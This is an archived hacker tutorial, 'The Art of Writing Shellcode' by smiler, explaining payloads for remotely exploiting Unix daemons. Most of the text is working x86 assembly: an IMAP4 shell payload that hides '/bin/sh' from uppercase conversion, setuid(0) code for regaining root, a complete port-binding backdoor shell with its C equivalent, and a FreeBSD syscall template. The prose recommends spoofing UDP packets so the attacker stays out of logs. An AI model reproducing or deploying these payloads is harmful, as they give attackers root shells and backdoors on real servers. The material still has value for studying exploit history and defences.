home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / art-shellcode.txt next >
Encoding:
Text File  |  2000-12-24  |  11.5 KB  |  327 lines

  1.                The Art of Writing Shellcode, by smiler.
  2.                ----------------------------------------
  3.  
  4.   Hopefully you are familiar with generic shell-spawning shellcode. If not
  5. read Aleph's text "Smashing The Stack For Fun And Profit" before
  6. reading further. This article will concentrate on the types of shellcode
  7. needed to exploit daemons remotely. Generally it is much harder to exploit
  8. remote daemons, because you do not have many ways of finding out the
  9. configuration of the remote server. Often the shellcode has to be much
  10. more complicated, which is what this article will focus on.
  11.  
  12.   I will start by looking at the ancient IMAP4 exploit. This is a fairly 
  13. simple exploit. All you need to do is "hide" the /bin/sh" string in
  14. shellcode (imapd converts all lowercase characters into uppercase). 
  15. None of the instructions in the generic shell-spawning shellcode contain
  16. lower-case characters, so you all you need do is change the /bin/sh
  17. string. 
  18.  
  19.   It is the same as normal shellcode, except there is a loop which adds
  20. 0x20 to each byte in the "/bin/sh" string. I put in lots of comments so
  21. even beginners can understand it. Sorry to all those asm virtuosos :] 
  22.  
  23. -----imap.S-------
  24. .globl main
  25. main:
  26. jmp call
  27. start:
  28.  
  29. popl %ebx /* get address of /bin/sh */
  30. movl %ebx,%ecx  /* copy the address to ecx */
  31. addb $0x6,%cl /* ecx now points to the last character */
  32.  
  33. loop:
  34. cmpl %ebx,%ecx
  35. jl skip     /* if (ecx<ebx) goto skip */
  36. addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */
  37. decb %cl   /* move the pointer down by one */
  38. jmp loop   
  39. skip:
  40.  
  41. /* generic shell-spawning code */
  42. movl %ebx,0x8(%ebx)
  43. xorl %eax,%eax
  44. movb %eax,0x7(%ebx)
  45. movl %eax,0xc(%ebx)
  46. movb $0xb,%al
  47. leal 0x8(%ebx),%ecx
  48. leal 0xc(%ebx),%edx
  49. int $0x80
  50. xorl %eax,%eax
  51. inc %al
  52. int $0x80
  53. call:
  54. call start
  55. .string "\x0f\x42\x49\x4e\x0f\x53\x48"
  56. --------------
  57.  
  58.   This was a very simple variation on the generic shellcode and can be
  59. useful to mask characters that aren't allowed by the protocol the daemon
  60. uses. But when coding remote, or even local, exploits you have to be
  61. prepared to write code which is much more complex. This usually means
  62. writing shellcode that involves different syscalls. 
  63. Useful syscalls are:
  64.  
  65. setuid(): To regain dropped root priviledges (e.g. wu-ftpd)
  66. mkdir()/chdir()/chroot(): To drop back to root directory (e.g. wu-ftpd)
  67. dup2(): To connect a tcp socket to the shell (e.g. BIND&rpc.mountd tcp-style )
  68. open()/write(): To write to /etc/passwd (e.g. everything !)
  69. socket(): To write connectionless shellcode, as explained later.
  70.  
  71. The actual syscall numbers can be found in <asm/unistd.h>
  72.  
  73.   Most syscalls in linux x86 are done in the same way. The syscall number
  74. is put into register %eax, and the arguments are put into %ebx,%ecx and
  75. %edx respectively. In some cases, where there are more arguments than
  76. registers  it may be necessary to store the arguments in user memory and
  77. store the address of the arguments in the register. Or, if an argument
  78. is a string, you would have to store the string in user memory and pass
  79. the address of string as the argument.  As before, the syscall is called
  80. by "int $0x80". 
  81.   You can potentially use any syscall, but the ones mentioned above should
  82. just about be the only ones you will ever need.
  83.  
  84.   As an example heres a little shellcode snippet from my wu-ftpd exploit
  85. that should execute setuid(0).
  86.  
  87. Note: you should always zero a register before using it.
  88.  
  89. ---setuid.S----
  90. .globl main
  91. main:
  92. xorl %ebx,%ebx /* zero the %ebx register, i.e. the 1st argument */
  93. movl %ebx,%eax /* zero out the %eax register */
  94. movb $0x17,%al /* set the syscall number */
  95. int $0x80 /* call the interrupt handler */
  96. ---------------
  97.  
  98.  
  99. Port-Binding Shellcode
  100.  
  101.   When you are exploiting a daemon remotely with generic shellcode, it is
  102. necessary to have an active TCP connection to pipe the shell stdin/out/err
  103. over. This is applicable to all the remote linux exploits I've seen so
  104. far, and is the preferred method. 
  105.  
  106.   But it is possible that a new vulnerability may be found, in a daemon
  107. that only offers a UDP service (SNMP for example).  Or it may only be
  108. possible to access the daemon via UDP because the TCP ports are
  109. firewalled etc. Current linux remote vulnerabilites are exploitable
  110. via UDP - BIND as well as all rpc services run both UDP and TCP
  111. services. Also, if you send the exploit via UDP it is trivial to spoof the
  112. attacking udp packet so that you do not appear in any logs =) 
  113.   
  114.   To exploit daemons via UDP you could write shellcode to modify the
  115. password file or to perform some other cunning task, but an interactive
  116. shell is much more elite =] Clearly it is not possible to fit a UDP pipe
  117. into shellcode, you still need a TCP connection. So my idea was to write
  118. shellcode that behaved like a very rudimentary backdoor, it binds to a
  119. port and executes a shell when it receives a connection. 
  120.  
  121.   I know for a fact that I wasn't the first one to write this type of 
  122. shellcode, but no one has officially published it so...here goes. 
  123.  
  124. A basic bindshell program(without the style) looks like this:
  125.  
  126. int main()
  127. {
  128.         char *name[2];
  129.         int fd,fd2,fromlen;
  130.         struct sockaddr_in serv;
  131.  
  132.         fd=socket(AF_INET,SOCK_STREAM,0);
  133.         serv.sin_addr.s_addr=0;
  134.         serv.sin_port=1234;
  135.         serv.sin_family=AF_INET;
  136.         bind(fd,(struct sockaddr *)&serv,16);
  137.         listen(fd,1);
  138.         fromlen=16; /*(sizeof(struct sockaddr)*/
  139.         fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
  140.         /* "connect" fd2 to stdin,stdout,stderr */
  141.         dup2(fd2,0);
  142.         dup2(fd2,1);
  143.         dup2(fd2,2);
  144.         name[0]="/bin/sh";
  145.         name[1]=NULL;
  146.         execve(name[0],name,NULL);
  147. }
  148.  
  149.   Obviously, this is going to require a lot more space than normal 
  150. shellcode, but it can be done in under 200 bytes and most buffers are 
  151. quite a bit larger than that.
  152.  
  153.   There is a slight complication in writing this shellcode as socket
  154. syscalls are done slightly differently than other syscalls, under linux.
  155. Every socket call has the same syscall number, 0x66. To differentiate
  156. between different socket calls, a subcode is put into the register %ebx.
  157. These can be found in <linux/net.h>. The important ones being:
  158.  
  159. SYS_SOCKET   1
  160. SYS_BIND     2
  161. SYS_LISTEN   4
  162. SYS_ACCEPT   5
  163.  
  164.   We also need to know the values of the constants, and the exact
  165. structure of sockaddr_in. Again these are in the linux include files.
  166.  
  167. AF_INET == 2
  168. SOCK_STREAM == 1
  169.  
  170. struct sockaddr_in {
  171.   short int sin_family; /* 2 byte word, containing AF_INET */
  172.   unsigned short int sin_port; /* 2 byte word, containg the port in network byte order */ 
  173.   struct in_addr sin_addr /* 4 byte long, should be zeroed */
  174.   unsigned char pad[8]; /* should be zero, but doesn't really matter */
  175. };
  176.  
  177.   Since there are only two registers left, the arguments must be placed
  178. sequentially in user memory, and %ecx must contain the address of the
  179. first. Hence we have to store the arguments at the end of the shellcode.
  180. The first 12 bytes will contain the 3 long arguments, the next 16 will
  181. contain the sockaddr_in structure and the final 4 will contain fromlen
  182. for the accept() call. Finally the result from each syscall is held in
  183. %eax.
  184.  
  185. So, without further ado, here is the portshell warez...
  186.  
  187. Again I've over-commented everything.
  188.  
  189. ----portshell.S----
  190. .globl main
  191. main:
  192.  
  193. /* I had to put in a "bounce" in the middle of the code as the shellcode
  194.  * was too big. If I had made it jmp the entire shellcode, the instruction
  195.  * would have contained a null byte, so if anyone has a shorter version,
  196.  * please send me it.
  197.  */
  198.  
  199. jmp bounce
  200. start:
  201. popl %esi
  202.  
  203. /* socket(2,1,0) */
  204. xorl %eax,%eax
  205. movl %eax,0x8(%esi)  /* 3rd arg == 0 */
  206. movl %eax,0xc(%esi)  /* zero out sock.sin_family&sock.sin_port */
  207. movl %eax,0x10(%esi) /* zero out sock.sin_addr */
  208. incb %al
  209. movl %eax,%ebx       /* socket() subcode == 1 */
  210. movl %eax,0x4(%esi)  /* 2nd arg == 1 */
  211. incb %al
  212. movl %eax,(%esi)     /* 1st arg == 2 */
  213. movw %eax,0xc(%esi)  /* sock.sin_family == 2 */
  214. leal (%esi),%ecx     /* load the address of the arguments into %ecx */
  215. movb $0x66,%al       /* set socket syscall number */
  216. int $0x80
  217.  
  218. /* bind(fd,&sock,0x10) */
  219. incb %bl             /* bind() subcode == 2 */
  220. movb %al,(%esi)      /* 1st arg == fd (result from socket()) */
  221. movl %ecx,0x4(%esi)  /* copy address of arguments into 2nd arg */
  222. addb $0xc,0x4(%esi)  /* increase it by 12 bytes to point to sockaddr struct */
  223. movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */
  224. movb $0x23,0xe(%esi) /* set sin.port */
  225. movb $0x66,%al       /* no need to set %ecx, it is already set */
  226. int $0x80 
  227.  
  228. /* listen(fd,2) */
  229. movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */
  230. incb %bl            /* no need to set 1st arg, it is the same as bind() */
  231. incb %bl            /* listen() subcode == 4 */
  232. movb $0x66,%al      /* again, %ecx is already set */
  233. int $0x80
  234.  
  235. /* fd2=accept(fd,&sock,&fromlen) */
  236. incb %bl            /* accept() subcode == 5 */
  237. movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
  238. addb $0xc,0x4(%esi) /* increase it by 12 bytes */
  239. movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */
  240. addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */
  241. movb $0x66,%al
  242. int $0x80
  243.  
  244. /* KLUDGE */
  245. jmp skippy
  246. bounce:
  247. jmp call
  248. skippy:
  249.  
  250. /* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
  251. movb %al,%bl /* move fd2 to 1st arg */
  252. xorl %ecx,%ecx /* 2nd arg is 0 */
  253. movb $0x3f,%al /* set dup2() syscall number */
  254. int $0x80
  255. incb %cl       /* 2nd arg is 1 */
  256. movb $0x3f,%al
  257. int $0x80
  258. incb %cl       /* 2nd arg is 2 */
  259. movb $0x3f,%al
  260. int $0x80
  261.  
  262. /* execve("/bin/sh",["/bin/sh"],NULL) */
  263. movl %esi,%ebx
  264. addb $0x20,%ebx /* %ebx now points to "/bin/sh" */
  265. xorl %eax,%eax
  266. movl %ebx,0x8(%ebx)
  267. movb %al,0x7(%ebx)
  268. movl %eax,0xc(%ebx)
  269. movb $0xb,%al
  270. leal 0x8(%ebx),%ecx
  271. leal 0xc(%ebx),%edx
  272. int $0x80
  273. /* exit(0) */
  274. xorl %eax,%eax
  275. movl %eax,%ebx 
  276. incb %al
  277. int $0x80
  278. call:
  279. call start
  280. .ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
  281. -----------------------------------------------------
  282.  
  283. Once you have sent the exploit, you only need to connect to port 8960, and
  284. you have an interactive shell.
  285.  
  286. ----------------[ FreeBSD shellcode
  287.  
  288.   Just in case all of that was all old hat to you, I'll take a little
  289. foray into the world of BSD x86 shellcode. FreeBSD shellcode is in most
  290. ways completely different. Primarily because syscalls are done by pushing 
  291. arguments onto the stack and using a far call. The syscall number 
  292. still goes in the %eax register however. OpenBSD is much the same but 
  293. it uses an interrupt for syscalls. 
  294.  
  295.   The main complication in writing shellcode for FreeBSD is in the far
  296. call (instruction lcall 7,0) which contains 5 null bytes. Obviously
  297. you would need to write some basic self-modifying shellcode. Since this is
  298. going to be used in every syscall you make, its best to put this into a
  299. mini-function and call it whenever necessary. I wrote a little template
  300. for this, it's easy enough to make it execute a shell or bind to a port.
  301. Just incase you're wondering the syscall for execve is 0x3b.
  302.  
  303. ----fbsd.S----
  304. .globl main
  305. main:
  306. jmp call
  307. start:
  308. /* Modify the ascii string so it becomes lcall 7,0 */
  309. popl %esi
  310. xorl %ebx,%ebx
  311. movl %ebx,0x1(%esi) /* zeroed long word */
  312. movb %bl,0x6(%esi)  /* zeroed byte */
  313. movl %esi,%ebx
  314. addb $0x8,%bl /* ebx points to binsh */
  315. jmp blah /* start the code */
  316.  
  317. call:
  318. call start
  319. syscall:
  320. .ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */
  321. ret
  322. binsh:
  323. .ascii "/bin/sh...."
  324. blah:
  325. /* put shellcode here */
  326. call syscall 
  327.